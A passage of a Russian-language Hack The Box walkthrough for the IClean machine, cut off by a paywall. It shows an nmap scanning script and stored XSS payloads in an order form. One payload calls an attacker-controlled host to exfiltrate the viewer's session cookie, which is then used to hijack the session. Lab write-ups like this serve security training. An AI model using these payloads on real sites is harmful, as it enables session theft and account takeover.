Содержание статьи
Наша цель — получение прав суперпользователя на машине IСlean с учебной площадки Hack The Box. Уровень ее сложности — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.12 iclean.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52.
Как обычно в таких случаях начинаем с проверки сайта.
Точка входа
Изучая сайт, находим форму заказа услуг.
Отмечаем все позиции и выполняем заказ. Затем в Burp History смотрим на сам запрос к серверу и проверяем отправляемые параметры.
В параметрах отправляются не значения true
и false
, что было бы логичнее, а название услуги. Скорее всего, указанные в заказе услуги отображаются у другого пользователя, поэтому стоит проверить, нет ли здесь XSS. Для этого запустим веб‑сервер:
python3 -m http.server
Комбинацией клавиш Ctrl-R перенаправим запрос из Burp History в Burp Repeater и засылаем базовую нагрузку, которая выполнит запрос на наш веб‑сервер.
<img src=x onerror=fetch("http://10.10.14.83:8000/test_xss");>
В логах видим запрос, а значит, сервис уязвим. Теперь попробуем увести куки пользователя, который просматривает заказы.
<img src=x onerror=fetch("http://10.10.14.83:8000/"+document.cookie);>
Применяем идентификатор сессии в локальном хранилище браузера Chrome и переходим на страницу /
.
Нам стали доступны новые функции, пройдемся по ним по порядку.
Точка опоры
Начнем с генератор QR-кода. Первым делом нам необходимо получить Invoice ID.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее